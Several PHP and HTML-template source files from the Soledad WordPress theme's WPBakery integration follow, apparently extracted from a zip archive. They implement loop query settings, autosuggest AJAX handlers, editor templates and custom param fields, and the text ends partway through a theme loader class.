		public function getSettings( $part, $name ) {
			$settings_exists = isset( $this->settings[ $part ] ) && is_array( $this->settings[ $part ] );

			return $settings_exists && isset( $this->settings[ $part ][ $name ] ) ? $this->settings[ $part ][ $name ] : null;
		}

		public function parseString( $value ) {
			return array( 'value' => $value );
		}

		protected function parseDropDown( $value, $options = array() ) {
			return array( 'value' => $value, 'options' => $options );
		}

		protected function parseMultiSelect( $value, $options = array() ) {
			return array( 'value' => explode( ',', $value ), 'options' => $options );
		}

		public function parse_order_by( $value ) {
			return $this->parseDropDown( $value, array(
				array( 'date', __( 'Date', 'soledad' ) ),
				array( 'modified', __( 'Latest Modified', 'soledad' ) ),
				array( 'rand', __( 'Random', 'soledad' ) ),
				array( 'random_today', __( 'Random Today', 'soledad' ) ),
				array( 'random_7_day', __( 'Random from last 7 days', 'soledad' ) ),
				array( 'alphabetical_order', __( 'Alphabetical ( A - Z )', 'soledad' ) ),
				array( 'popular', __( 'Popular posts in all time', 'soledad' ) ),
				array( 'popular_month', __( 'Popular posts in once month', 'soledad' ) ),
				array( 'popular7', __( 'Popular posts in once week', 'soledad' ) ),
				array( 'ID', __( 'ID', 'soledad' ) ),
				array( 'author', __( 'Author', 'soledad' ) ),
				array( 'title', __( 'Title', 'soledad' ) ),
				array( 'comment_count', __( 'Comment count', 'soledad' ) ),
				array( 'featured_product', __( 'Featured ( Woo )', 'soledad' ) ),
			) );
		}

		public function parse_order( $value ) {
			return $this->parseDropDown( $value, array(
				array( 'ASC', __( 'Ascending', 'soledad' ) ),
				array( 'DESC', __( 'Descending', 'soledad' ) ),
			) );
		}

		public function parse_post_type( $value ) {
			$options    = array();
			$args       = array(
				'public' => true,
			);
			$post_types = get_post_types( $args );
			foreach ( $post_types as $post_type ) {
				if ( 'attachment' !== $post_type && 'penci_slider' !== $post_type ) {
					$options[] = $post_type;
				}
			}

			return $this->parseMultiSelect( $value, $options );
		}


		public function parse_authors( $value ) {
			$options = $not_in = array();
			if ( empty( $value ) ) {
				return $this->parseMultiSelect( $value, $options );
			}
			$list = explode( ',', $value );
			foreach ( $list as $id ) {
				if ( (int) $id < 0 ) {
					$not_in[] = abs( $id );
				}
			}
			$users = get_users( array( 'include' => array_map( 'abs', $list ) ) );
			foreach ( $users as $user ) {
				$options[] = array(
					'value'  => (string) $user->ID,
					'name'   => $user->data->user_nicename,
					'action' => in_array( (int) $user->ID, $not_in ) ? '-' : '+',
				);
			}

			return $this->parseMultiSelect( $value, $options );
		}

		public function parse_categories( $value ) {
			$options = $not_in = array();
			if ( empty( $value ) ) {
				return $this->parseMultiSelect( $value, $options );
			}
			$list = explode( ',', $value );
			foreach ( $list as $id ) {
				if ( (int) $id < 0 ) {
					$not_in[] = abs( $id );
				}
			}
			$list = get_categories( array( 'include' => array_map( 'abs', $list ) ) );
			foreach ( $list as $obj ) {
				$options[] = array(
					'value'  => (string) $obj->cat_ID,
					'name'   => $obj->cat_name,
					'action' => in_array( (int) $obj->cat_ID, $not_in ) ? '-' : '+',
				);
			}

			return $this->parseMultiSelect( $value, $options );
		}


		public function parse_tags( $value ) {
			$options = $not_in = array();
			if ( empty( $value ) ) {
				return $this->parseMultiSelect( $value, $options );
			}
			$list = explode( ',', $value );
			foreach ( $list as $id ) {
				if ( (int) $id < 0 ) {
					$not_in[] = abs( $id );
				}
			}
			$list = get_tags( array( 'include' => array_map( 'abs', $list ) ) );
			foreach ( $list as $obj ) {
				$options[] = array(
					'value'  => (string) $obj->term_id,
					'name'   => $obj->name,
					'action' => in_array( (int) $obj->term_id, $not_in ) ? '-' : '+',
				);
			}

			return $this->parseMultiSelect( $value, $options );
		}

		public function parse_tax_query( $value ) {
			$options = $not_in = array();
			if ( empty( $value ) ) {
				return $this->parseMultiSelect( $value, $options );
			}
			$list = explode( ',', $value );
			foreach ( $list as $id ) {
				if ( (int) $id < 0 ) {
					$not_in[] = abs( $id );
				}
			}
			$list = get_terms( self::getTaxonomies(), array( 'include' => array_map( 'abs', $list ) ) );
			foreach ( $list as $obj ) {
				$options[] = array(
					'value'  => (string) $obj->term_id,
					'name'   => $obj->name,
					'action' => in_array( (int) $obj->term_id, $not_in ) ? '-' : '+',
				);
			}

			return $this->parseMultiSelect( $value, $options );
		}

		public function parse_by_id( $value ) {
			$options = $not_in = array();
			if ( empty( $value ) ) {
				return $this->parseMultiSelect( $value, $options );
			}
			$list = explode( ',', $value );
			foreach ( $list as $id ) {
				if ( (int) $id < 0 ) {
					$not_in[] = abs( $id );
				}
			}

			$post_type_pre = array();
			$post_types    = get_post_types( array( 'public' => true ) );

			foreach ( $post_types as $post_type ) {
				if ( 'attachment' !== $post_type && 'penci_slider' !== $post_type ) {
					$post_type_pre[] = $post_type;
				}
			}

			$list = get_posts( array( 'post_type' => $post_type_pre, 'include' => array_map( 'abs', $list ) ) );

			foreach ( $list as $obj ) {
				$options[] = array(
					'value'  => (string) $obj->ID,
					'name'   => $obj->post_title,
					'action' => in_array( (int) $obj->ID, $not_in ) ? '-' : '+',
				);
			}

			return $this->parseMultiSelect( $value, $options );
		}

		public function render() {
			echo json_encode( $this->content );
		}

		public function getContent() {
			return $this->content;
		}

		public static function getTaxonomies() {
			$taxonomy_exclude   = (array) apply_filters( 'get_categories_taxonomy', 'category' );
			$taxonomy_exclude[] = 'post_tag';
			$taxonomies         = array();
			foreach ( get_taxonomies() as $taxonomy ) {
				if ( ! in_array( $taxonomy, $taxonomy_exclude ) ) {
					$taxonomies[] = $taxonomy;
				}
			}

			return $taxonomies;
		}

		public static function buildDefault( $settings ) {
			if ( ! isset( $settings['settings'] ) || ! is_array( $settings['settings'] ) ) {
				return '';
			}
			$value = '';
			foreach ( $settings['settings'] as $key => $val ) {
				if ( isset( $val['value'] ) ) {
					$value .= ( empty( $value ) ? '' : '|' ) . $key . ':' . $val['value'];
				}
			}

			return $value;
		}

		public function get_query_parts() {
			return $this->query_parts;
		}

		public static function buildWpQuery( $query, $exclude_id = false ) {
			$data          = self::parseData( $query );
			$query_builder = new PenciSoledadLoopQueryBuilder( $data );
			if ( $exclude_id ) {
				$query_builder->excludeId( $exclude_id );
			}

			return $query_builder->build();
		}


		public static function buildArgsQuery( $query, $exclude_id = false ) {
			$data          = self::parseData( $query );
			$query_builder = new PenciSoledadLoopQueryBuilder( $data );
			if ( $exclude_id ) {
				$query_builder->excludeId( $exclude_id );
			}

			return $query_builder->build_args();
		}

		public static function updateArgsQuerySize( $query, $size ) {
			$data         = self::parseData( $query );
			$data['size'] = $size;

			$data_pre = '';
			foreach ( $data as $key => $val ) {
				if ( $data_pre ) {
					$data_pre .= '|';
				}

				$data_pre .= $key . ':' . $val;
			}

			return $data_pre;
		}

		public static function parseData( $value ) {
			$data         = array();
			$values_pairs = preg_split( '/\|/', $value );
			foreach ( $values_pairs as $pair ) {
				if ( ! empty( $pair ) ) {
					list( $key, $value ) = preg_split( '/\:/', $pair );
					$data[ $key ] = $value;
				}
			}

			return $data;
		}
	}
endif;

if ( ! class_exists( 'PenciSoledadLoopSuggestions' ) ):
	class PenciSoledadLoopSuggestions {
		protected $content = array();
		protected $exclude = array();
		protected $field;

		function __construct( $field, $query, $exclude ) {
			$this->exclude = explode( ',', $exclude );
			$method_name   = 'get_' . preg_replace( '/_out$/', '', $field );
			if ( method_exists( $this, $method_name ) ) {
				$this->$method_name( $query );
			}
		}

		public function get_authors( $query ) {
			$args = ! empty( $query ) ? array(
				'search'         => '*' . $query . '*',
				'search_columns' => array( 'user_nicename' ),
			) : array();
			if ( ! empty( $this->exclude ) ) {
				$args['exclude'] = $this->exclude;
			}
			$users = get_users( $args );
			foreach ( $users as $user ) {
				$this->content[] = array(
					'value' => (string) $user->ID,
					'name'  => (string) $user->data->user_nicename
				);
			}
		}

		public function get_authorsnotin( $query ) {
			$args = ! empty( $query ) ? array(
				'search'         => '*' . $query . '*',
				'search_columns' => array( 'user_nicename' ),
			) : array();
			if ( ! empty( $this->exclude ) ) {
				$args['exclude'] = $this->exclude;
			}
			$users = get_users( $args );
			foreach ( $users as $user ) {
				$this->content[] = array(
					'value' => (string) $user->ID,
					'name'  => (string) $user->data->user_nicename
				);
			}
		}

		public function get_categories( $query ) {
			$args = ! empty( $query ) ? array( 'search' => $query ) : array();
			if ( ! empty( $this->exclude ) ) {
				$args['exclude'] = $this->exclude;
			}
			$categories = get_categories( $args );

			foreach ( $categories as $cat ) {
				$this->content[] = array( 'value' => (string) $cat->cat_ID, 'name' => $cat->cat_name );
			}
		}

		public function get_categorynotin( $query ) {
			$args = ! empty( $query ) ? array( 'search' => $query ) : array();
			if ( ! empty( $this->exclude ) ) {
				$args['exclude'] = $this->exclude;
			}
			$categories = get_categories( $args );

			foreach ( $categories as $cat ) {
				$this->content[] = array( 'value' => (string) $cat->cat_ID, 'name' => $cat->cat_name );
			}
		}

		public function get_tags( $query ) {
			$args = ! empty( $query ) ? array( 'search' => $query ) : array();
			if ( ! empty( $this->exclude ) ) {
				$args['exclude'] = $this->exclude;
			}
			$tags = get_tags( $args );
			foreach ( $tags as $tag ) {
				$this->content[] = array( 'value' => (string) $tag->term_id, 'name' => $tag->name );
			}
		}

		public function get_tagsnotin( $query ) {
			$args = ! empty( $query ) ? array( 'search' => $query ) : array();
			if ( ! empty( $this->exclude ) ) {
				$args['exclude'] = $this->exclude;
			}
			$tags = get_tags( $args );
			foreach ( $tags as $tag ) {
				$this->content[] = array( 'value' => (string) $tag->term_id, 'name' => $tag->name );
			}
		}

		public function get_tax_query( $query ) {
			$args = ! empty( $query ) ? array( 'search' => $query ) : array();
			if ( ! empty( $this->exclude ) ) {
				$args['exclude'] = $this->exclude;
			}
			$tags = get_terms( PenciSoledadLoopSettings::getTaxonomies(), $args );
			foreach ( $tags as $tag ) {
				$this->content[] = array(
					'value' => $tag->term_id,
					'name'  => $tag->name . ' (' . $tag->taxonomy . ')',
				);
			}
		}

		public function get_by_id( $query ) {
			$post_type_pre = array();

			$post_types = get_post_types( array( 'public' => true ) );

			foreach ( $post_types as $post_type ) {
				if ( 'attachment' !== $post_type ) {
					$post_type_pre[] = $post_type;
				}
			}

			$args = ! empty( $query ) ? array(
				's'         => $query,
				'post_type' => $post_type_pre
			) : array( 'post_type' => $post_type_pre );

			if ( ! empty( $this->exclude ) ) {
				$args['exclude'] = $this->exclude;
			}

			$postsqr = new WP_Query( $args );
			$posts   = $postsqr->posts;

			foreach ( $posts as $post ) {
				$this->content[] = array( 'value' => $post->ID, 'name' => $post->post_title );
			}
		}

		public function render() {
			echo json_encode( $this->content );
		}
	}
endif;

if ( ! function_exists( 'penci_build_loop_query' ) ) {
	function penci_build_loop_query( $query, $exclude_id = false ) {
		return PenciSoledadLoopSettings::buildWpQuery( $query, $exclude_id );
	}
}

if ( ! function_exists( 'penci_build_args_query' ) ) {
	function penci_build_args_query( $query, $exclude_id = false ) {
		$query = PenciSoledadLoopSettings::buildArgsQuery( $query, $exclude_id );
		if ( ! empty( $query['post_type'] ) && ( in_array( 'archive-template', (array) $query['post_type'] ) || in_array( 'custom-post-template', (array) $query['post_type'] ) ) ) {
			$query = $GLOBALS['wp_query']->query_vars;
		}

		return $query;
	}
}

if ( ! function_exists( 'penci_get_loop_suggestion' ) ) {
	function penci_get_loop_suggestion() {
		vc_user_access()->checkAdminNonce()->validateDie()->wpAny( 'edit_posts', 'edit_pages' )->validateDie();

		$loop_suggestions = new PenciSoledadLoopSuggestions( vc_post_param( 'field' ), vc_post_param( 'query' ), vc_post_param( 'exclude' ) );
		$loop_suggestions->render();
		die();
	}
}

if ( ! function_exists( 'penci_get_loop_settings_json' ) ) {
	function penci_get_loop_settings_json() {
		vc_user_access()->checkAdminNonce()->validateDie()->wpAny( 'edit_posts', 'edit_pages' )->validateDie();

		$loop_settings = new PenciSoledadLoopSettings( vc_post_param( 'value' ), vc_post_param( 'settings' ) );
		$loop_settings->render();
		die();
	}
}
add_action( 'wp_ajax_wpb_get_loop_suggestion', 'penci_get_loop_suggestion' );
add_action( 'wp_ajax_wpb_get_loop_settings', 'penci_get_loop_settings_json' );

if ( ! function_exists( 'penci_loop_include_templates' ) ) {
	function penci_loop_include_templates() {
		include( trailingslashit( PENCI_SOLEDAD_DIR ) . 'inc/js_composer/params/loop/templates.html' );
	}
}
add_action( 'admin_footer', 'penci_loop_include_templates' );

if ( ! function_exists( 'penci_set_loop_default_value' ) ) {
	function penci_set_loop_default_value( $param ) {
		if ( empty( $param['value'] ) && isset( $param['settings'] ) ) {
			$param['value'] = PenciSoledadLoopSettings::buildDefault( $param );
		}

		return $param;
	}
}
add_filter( 'vc_mapper_attribute_build_query', 'penci_set_loop_default_value' );
PK     N\UB    *  inc/js_composer/params/loop/templates.htmlnu [        <script type="text/html" id="vcl-loop-frame">
	<div class="vc_row">
		<div class="vc_col-sm-12">
			<# if(vc.loop_field_not_hidden('post_type', loop)) { #>
			<label class="wpb_element_label"><?php _e('Post types', 'soledad') ?></label>

			<div class="post-types-list">
				{{{ vc.loop_partial('checkboxes', 'post_type', loop) }}}
			</div>
			<span class="description clear"><?php _e('Select post types to populate posts from. Note: If no post type is selected, WordPress will use default "Post" value.', 'soledad'); ?></span>
			<# } #>
		</div>
	</div>
	<div class="vc_row">
		<# if(vc.loop_field_not_hidden('size', loop)) { #>
		<div class="vc_col-sm-6">
			<label class="wpb_element_label"><?php _e('Post count', 'soledad') ?></label>
			{{{ vc.loop_partial('text-input', 'size', loop) }}}
			<span class="description clear"><?php _e('How many teasers to show? Enter number or word "All".', 'soledad'); ?></span>
		</div>
		<# } #>
		<# if(vc.loop_field_not_hidden('offset', loop)) { #>
			<div class="vc_col-sm-6">
				<label class="wpb_element_label"><?php _e('Offset posts', 'soledad') ?></label>
				{{{ vc.loop_partial('text-input', 'offset', loop) }}}
				<span class="description clear"><?php _e('Start the count with an offset.', 'soledad'); ?></span>
			</div>
		<# } #>
		<# if(vc.loop_field_not_hidden('order_by', loop)) { #>
		<div class="vc_col-sm-6">
			<label class="wpb_element_label"><?php _e('Order by', 'soledad') ?></label>
			{{{ vc.loop_partial('dropdown', 'order_by', loop) }}}
			<span class="description clear"><?php  _e('Select how to sort retrieved posts.', 'soledad'); ?></span>
		</div>
		<# } #>
		<# if(vc.loop_field_not_hidden('order', loop)) { #>
		<div class="vc_col-sm-6">
			<label class="wpb_element_label"><?php _e('Sort order', 'soledad') ?></label>
			{{{ vc.loop_partial('dropdown', 'order', loop) }}}
			<span class="description clear"><?php _e('Designates the ascending or descending order.', 'soledad'); ?></span>
		</div>
		<# } #>
	</div>

	<# if(vc.loop_field_not_hidden('categories', loop)) { #>
	<div class="vc_row">
		<div class="vc_col-sm-12">
			<div class="vc_suggest-field" data-block="suggestion">
				<label class="wpb_element_label"><?php _e('Categories', 'soledad') ?></label>
				{{{ vc.loop_partial('autosuggest', 'categories', loop) }}}
				<span class="description clear"><?php _e('Filter output by posts categories, enter category names here. Check more <a href="https://www.youtube.com/watch?v=QOnGWZNScG4" target="_blank">here</a> to know how to exclude categories', 'soledad'); ?></span>
			</div>
		</div>
	</div>
	<# } #>
	<# if(vc.loop_field_not_hidden('tags', loop)) { #>
	<div class="vc_row">
		<div class="vc_col-sm-12">
			<div class="vc_suggest-field" data-block="suggestion">
				<label class="wpb_element_label"><?php _e('Tags', 'soledad') ?></label>
				{{{ vc.loop_partial('autosuggest', 'tags', loop) }}}
				<span class="description clear"><?php _e('Filter output by posts tags, enter tag names here.', 'soledad'); ?></span>
			</div>
		</div>
	</div>
	<# } #>
	<# if(vc.loop_field_not_hidden('tax_query', loop)) { #>
	<div class="vc_row">
		<div class="vc_col-sm-12">
			<div class="vc_suggest-field" data-block="suggestion">
				<label class="wpb_element_label"><?php _e('Taxonomies', 'soledad') ?></label>
				{{{ vc.loop_partial('autosuggest', 'tax_query', loop) }}}
				<span class="description clear"><?php _e('Filter output by custom taxonomies categories, enter category names here.', 'soledad'); ?></span>
			</div>
		</div>
	</div>
	<# } #>
	<# if(vc.loop_field_not_hidden('by_id', loop)) { #>
	<div class="vc_row">
		<div class="vc_col-sm-12">
			<div class="vc_suggest-field" data-block="suggestion">
				<label class="wpb_element_label"><?php _e('Individual Posts/Pages/Custom Post Types', 'soledad') ?></label>
				{{{ vc.loop_partial('autosuggest', 'by_id', loop) }}}
				<span class="description clear"><?php _e('Only entered posts/pages will be included in the output. Note: Works in conjunction with selected "Post types".', 'soledad'); ?></span>
			</div>
		</div>
	</div>
	<# } #>
	<# if(vc.loop_field_not_hidden('authors', loop)) { #>
	<div class="vc_row">
		<div class="vc_col-sm-12">
			<div class="vc_suggest-field" data-block="suggestion">
				<label class="wpb_element_label"><?php _e('Author', 'soledad') ?></label>
				{{{ vc.loop_partial('autosuggest', 'authors', loop) }}}
				<span class="description clear"><?php _e('Filter by author name.', 'soledad'); ?></span>
			</div>
		</div>
	</div>
	<# } #>
</script>
<script type="text/html" id="_vcl-text-input">
	<#
	var is_locked = vc.is_locked(data),
	disabled = is_locked  ? ' disabled="true"' : '',
	value = _.isObject(data) && !_.isUndefined(data.value) ? data.value : '';
	#>
	<input type="text" name="{{ name }}" value="{{ value }}" class="vc_{{ name }}_field" {{ disabled }}>
</script>
<script type="text/html" id="_vcl-dropdown">
	<#
	var is_locked = vc.is_locked(data),
	disabled = is_locked  ? ' disabled="true"' : '';
	#>
	<select name="{{ name }}" class="vc_dropdown" {{ disabled }}>
		<option value=""></option>
		<# if(_.isObject(data) && _.isArray(data.options)) { #>
		<#
		_.each(data.options, function(opt) {
		var value, label;
		if(_.isArray(opt)) {
		value = opt[0];
		label = opt[1];
		} else {
		value = opt;
		label = opt;
		}#>
		<option value="{{ value }}"
		        {{ data.value===value ?
		' selected="true"' : '' }}>{{ label }}</option>
		<#
		});
		#>
		<# } #>
	</select>
</script>
<script type="text/html" id="_vcl-checkboxes">
	<#
	var is_locked = vc.is_locked(data);
	#>
	<input type="hidden" name="{{ name }}" value="{{ data.value }}" data-name="{{ name }}">
	<# if(_.isObject(data) && _.isArray(data.options)) {
	_.each(data.options, function(opt) {
	var value, label, params;
	if(_.isArray(opt)) {
	value = opt[0];
	label = opt[1];
	} else {
	value = opt;
	label = opt;
	}
	params = _.indexOf(data.value, value) >=0 ? ' checked="true"' : '';
	if(!_.isEmpty(params) && is_locked) params += ' disabled="true"';
	#>
	<label><input type="checkbox" data-input="{{ name }}" value="{{ value }}" {{ params }}/> {{ label }}</label>
	<#
	});
	} #>
</script>
<script type="text/html" id="_vcl-autosuggest">
	<# limit_param = _.isObject(settings) && !_.isUndefined(settings.limit) ? ' data-limit="' + settings.limit + '"' : ''; #>
	<input type="hidden" data-suggest-prefill="{{ name }}"
	       value="{{ _.isObject(data) && _.isArray(data.options) ? window.encodeURIComponent(JSON.stringify(data.options)) : '' }}">
	<input type="hidden" name="{{ name }}"
	       value="{{ _.isObject(data) && _.isArray(data.value) ? data.value.join(',') : '' }}"
	       data-suggest-value="{{ name }}">
	<input type="text" name="{{ name }}_autosuggest" value=""
	       placeholder="<?php _e('Click here and start typing...', 'soledad'); ?>" class="vc_{{ name }}_field"
	       data-suggest="{{ name }}" {{ limit_param }}/>
</script>PK     N\y    /  inc/js_composer/params/buttons_set/register.phpnu [        <?php
/**
 * Button set param.
 *
 * @package Soledad
 */

if ( ! function_exists( 'penci_get_button_set_param' ) ) {
	/**
	 * Button set param.
	 *
	 * @param array  $settings Settings.
	 * @param string $value    Value.
	 *
	 * @return string
	 */
	function penci_get_button_set_param( $settings, $value ) {
		if ( ! $value && isset( $settings['default'] ) ) {
			$current_value = $settings['default'];
		} else {
			$current_value = $value;
		}

		$wrapper_classes = '';

		if ( isset( $settings['tabs'] ) ) {
			$current_value    = array_values( $settings['value'] )[0];
			$wrapper_classes .= ' penci-tabs';
		}

		ob_start();
		?>
		<div class="penci-select-fields penci-style-buttons penci-vc-button-set<?php echo esc_attr( $wrapper_classes ); ?>">
			<input type="hidden" class="penci-vc-button-set-value wpb_vc_param_value" name="<?php echo esc_attr( $settings['param_name'] ); ?>" value="<?php echo esc_attr( $current_value ); ?>">

			<ul class="penci-select-buttons penci-vc-button-set-list">
				<?php foreach ( $settings['value'] as $title => $value ) : ?>
					<?php
					$classes = '';

					if ( $current_value === $value ) {
						$classes .= ' penci-active';
					}
					?>

					<li class="penci-buttons-item vc-button-set-item<?php echo esc_attr( $classes ); ?>" data-value="<?php echo esc_html( $value ); ?>">
						<span>
							<?php echo esc_html( $title ); ?>
						</span>
					</li>
				<?php endforeach; ?>
			</ul>
		</div>
		<?php
		return ob_get_clean();
	}
}


PK     N\|    *  inc/js_composer/params/switch/register.phpnu [        <?php
/**
 * This file creates html for the penci_switch field in WPBakery.
 *
 * @package Soledad.
 */

/**
 * penci switch param
 */
if ( ! function_exists( 'penci_get_switch_param' ) ) {
	/**
	 * This function creates html for the penci_switch field in WPBakery.
	 *
	 * @param array $settings .
	 * @param array $value .
	 *
	 * @return string
	 */
	function penci_get_switch_param( $settings, $value ) {
		$default = isset( $settings['std'] ) && $settings['std'] ? $settings['std'] : ( isset( $settings['default'] ) && $settings['default'] ? $settings['default'] : 'no' );
		if ( '0' === $value ) {
			$value = 0;
		} elseif ( empty( $value ) ) {
			$value = $default;
		}

		$settings['true_state']  = isset( $settings['true_state'] ) ? $settings['true_state'] : 'yes';
		$settings['false_state'] = isset( $settings['false_state'] ) ? $settings['false_state'] : 'no';

		$settings['true_text']  = isset( $settings['true_text'] ) ? $settings['true_text'] : esc_html__( 'yes', 'soledad' );
		$settings['false_text'] = isset( $settings['false_text'] ) ? $settings['false_text'] : esc_html__( 'no', 'soledad' );

		ob_start();
		?>
        <div class="penci-vc-switch">
            <input type="hidden" class="switch-field-value wpb_vc_param_value"
                   name="<?php echo esc_attr( $settings['param_name'] ); ?>" value="<?php echo esc_attr( $value ); ?>">
            <div class="penci-vc-switch-inner">
                <div class="switch-controls switch-active"
                     data-value="<?php echo esc_attr( $settings['true_state'] ); ?>">
						<span>
							<?php echo esc_html( $settings['true_text'] ); ?>
						</span>
                </div>
                <div class="switch-controls switch-inactive"
                     data-value="<?php echo esc_attr( $settings['false_state'] ); ?>">
						<span>
							<?php echo esc_html( $settings['false_text'] ); ?>
						</span>
                </div>
            </div>
        </div>
		<?php

		return ob_get_clean();
	}
}
PK     N\@    !  inc/js_composer/params/params.phpnu [        <?php
remove_action( 'admin_footer', 'vc_loop_include_templates', 1 );
add_action( 'wp_ajax_vc_edit_form', 'penci_remove_shortcode_param_loop', 1 );
if ( ! function_exists( 'penci_remove_shortcode_param_loop' ) ) {
	function penci_remove_shortcode_param_loop() {
		global $vc_params_list;

		$key = array_search( 'loop', $vc_params_list, true );
		if ( false !== $key ) {
			unset( $vc_params_list[ $key ] );
		}

	}
}

require PENCI_SOLEDAD_DIR . '/inc/js_composer/params/loop/register.php';
require PENCI_SOLEDAD_DIR . '/inc/js_composer/params/number/register.php';
require PENCI_SOLEDAD_DIR . '/inc/js_composer/params/only_number/register.php';
require PENCI_SOLEDAD_DIR . '/inc/js_composer/params/post_metas/register.php';
require PENCI_SOLEDAD_DIR . '/inc/js_composer/params/separator/register.php';
require PENCI_SOLEDAD_DIR . '/inc/js_composer/params/custom_markup/register.php';
require PENCI_SOLEDAD_DIR . '/inc/js_composer/params/heading_title/register.php';
require PENCI_SOLEDAD_DIR . '/inc/js_composer/params/buttons_set/register.php';
require PENCI_SOLEDAD_DIR . '/inc/js_composer/params/switch/register.php';
require PENCI_SOLEDAD_DIR . '/inc/js_composer/params/slider/register.php';
require PENCI_SOLEDAD_DIR . '/inc/js_composer/params/sizes/register.php';
require PENCI_SOLEDAD_DIR . '/inc/js_composer/params/spacing/register.php';

vc_add_shortcode_param( 'loop', 'penci_soledad_vc_param_loop' );
vc_add_shortcode_param( 'penci_number', 'penci_vc_param_number' );
vc_add_shortcode_param( 'penci_only_number', 'penci_vc_param_only_number' );
vc_add_shortcode_param( 'penci_post_metas', 'penci_vc_param_post_metas' );
vc_add_shortcode_param( 'penci_separator', 'penci_vc_param_separator' );
vc_add_shortcode_param( 'penci_custom_markup', 'penci_vc_param_custom_markup' );
vc_add_shortcode_param( 'penci_heading_title', 'penci_vc_param_heading_title' );
vc_add_shortcode_param( 'penci_buttons_sets', 'penci_get_button_set_param' );
vc_add_shortcode_param( 'penci_switch', 'penci_get_switch_param' );
vc_add_shortcode_param( 'penci_slider', 'penci_get_slider_param' );
vc_add_shortcode_param( 'penci_responsive_sizes', 'penci_get_responsive_size_param' );
vc_add_shortcode_param( 'penci_responsive_spacing', 'penci_get_responsive_spacing_param' );
PK     N\OS    1  inc/js_composer/params/heading_title/register.phpnu [        <?php
/**
 * Callback for new param 'penci_heading_title'.
 *
 * @param array $settings
 * @param string $value
 *
 * @return string
 */
function penci_vc_param_heading_title( $settings, $value ) {
	$heading     = isset( $settings['heading'] ) ? esc_attr( $settings['heading'] ) : '';
	$description = isset( $settings['description'] ) ? esc_attr( $settings['description'] ) : '';
	$type        = isset( $settings['type'] ) ? esc_attr( $settings['type'] ) : '';


	$out = '';

	$out .= '<div class="penci-vc-heading-title ' . esc_attr( $type ) . '">';

	if ( $heading ) {
		$out .= '<h4 class="heading">' . esc_attr( $heading ) . '</h4>';
	}

	if ( $description ) {
		$out .= '<span class="description">' . esc_attr( $description ) . '</span>';
	}

	$out .= '</div>';

	return $out;
}

PK     N\>	f    )  inc/js_composer/params/sizes/register.phpnu [        <?php
if ( ! function_exists( 'penci_get_responsive_size_param' ) ) {
	function penci_get_responsive_size_param( $settings, $value ) {

		$settings['css_args'] = isset( $settings['css_args'] ) && $settings['css_args'] ? $settings['css_args'] : '';

		$output = '<div class="penci-rs-wrapper ' . esc_attr( $settings['param_name'] ) . '">';
		$output .= '<div class="penci-rs-item desktop">';
		$output .= '<span class="penci-rs-icon penci-css-tooltip" data-text="Desktop"><i class="dashicons dashicons-desktop"></i></span>';
		$output .= '<input type="number" min="1" class="penci-rs-input" data-id="desktop">';
		$output .= '</div>';

		$output .= '<div class="penci-rs-item tablet">';
		$output .= '<span class="penci-rs-icon penci-css-tooltip" data-text="Tablet"><i class="dashicons dashicons-tablet"></i></span>';
		$output .= '<input type="number" min="1" class="penci-rs-input" data-id="tablet">';
		$output .= '</div>';

		$output .= '<div class="penci-rs-item mobile">';
		$output .= '<span class="penci-rs-icon penci-css-tooltip" data-text="Mobile"><i class="dashicons dashicons-smartphone"></i></span>';
		$output .= '<input type="number" min="1" class="penci-rs-input" data-id="mobile">';
		$output .= '</div>';

		$output .= '<div class="penci-rs-unit">px</div>';

		$output .= '<input type="hidden" data-css_args="' . esc_attr( json_encode( $settings['css_args'] ) ) . '" name="' . esc_attr( $settings['param_name'] ) . '" class="wpb_vc_param_value penci-rs-value" value="' . esc_attr( $value ) . '">';
		$output .= '</div>';

		return $output;
	}

}
PK     N\6      1  inc/js_composer/params/custom_markup/register.phpnu [        <?php
/**
 * Callback for new param 'penci_separator'.
 *
 * @param array $settings
 * @param string $value
 *
 * @return string
 */
function penci_vc_param_custom_markup( $settings, $value ) {
	return $value;
}

PK     N\7b      inc/js_composer/js_composer.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

if ( ! class_exists( 'Penci_WPB_VC' ) ):
	class Penci_WPB_VC {
		private static $_instance = null;

		public static function instance() {

			if ( is_null( self::$_instance ) ) {
				self::$_instance = new self();
			}

			return self::$_instance;

		}

		public function __construct() {
			add_action( 'vc_before_init', array( $this, 'init' ), 5 );

			add_action( 'admin_print_scripts-post.php', array( $this, 'printScriptsMessages', ), 9999 );
			add_action( 'admin_print_scripts-post-new.php', array( $this, 'printScriptsMessages', ), 9999 );

			if ( defined( 'WP_DEBUG' ) && ! WP_DEBUG ) {
				add_filter( 'vc_google_fonts_get_fonts_filter', array( $this, 'add_google_fonts' ) );
			}
			add_action( 'vc_after_init', array( $this, 'vc_after_init_actions' ) );
		}

		public function init() {
			$this->includes();
		}

		public function includes() {
			require PENCI_SOLEDAD_DIR . '/inc/js_composer/params/params.php';
			require PENCI_SOLEDAD_DIR . '/inc/js_composer/inc/global-blocks.php';
			require PENCI_SOLEDAD_DIR . '/inc/js_composer/inc/shortcodes-classes.php';
			require PENCI_SOLEDAD_DIR . '/inc/js_composer/inc/vc-params-helper.php';
			require PENCI_SOLEDAD_DIR . '/inc/js_composer/inc/custom-css-oldsc.php';
			require PENCI_SOLEDAD_DIR . '/inc/js_composer/inc/product_param.php';

			$this->load_shortcodes();
		}

		function vc_after_init_actions() {
			add_action( 'vc_frontend_editor_render', array( $this, 'frontend_editor_render' ) );
			add_action( 'vc_load_iframe_jscss', array( $this, 'load_iframe_jscss' ) );
		}

		function frontend_editor_render() {
			wp_enqueue_script( 'penci-frontend_editor', PENCI_SOLEDAD_URL . '/inc/js_composer/assets/frontend-editor.js', array(
				'vc-frontend-editor-min-js',
				'underscore'
			), PENCI_SOLEDAD_VERSION, true );
		}

		function load_iframe_jscss() {
			wp_enqueue_style( 'penci-frontend_editor', PENCI_SOLEDAD_URL . '/inc/js_composer/assets/frontend-editor.css', '', PENCI_SOLEDAD_VERSION );
			wp_enqueue_script( 'penci_inline_iframe_js', PENCI_SOLEDAD_URL . '/inc/js_composer/assets/page_editable.js', array( 'vc_inline_iframe_js' ), PENCI_SOLEDAD_VERSION, true );
		}

		protected function load_shortcodes() {
			$dirs = glob( dirname( __FILE__ ) . '/shortcodes/*', GLOB_ONLYDIR );

			foreach ( $dirs as $dir ) {
				$id_shortcode = basename( $dir );
				if ( 'latest_tweets' == $id_shortcode &&  ! function_exists( 'penci_getTweets' ) ) {
					continue;
				}

				if ( 'web_stories' == $id_shortcode && ! defined( 'WEBSTORIES_VERSION' ) ) {
					continue;
				}

				include "$dir/settings.php";
			}

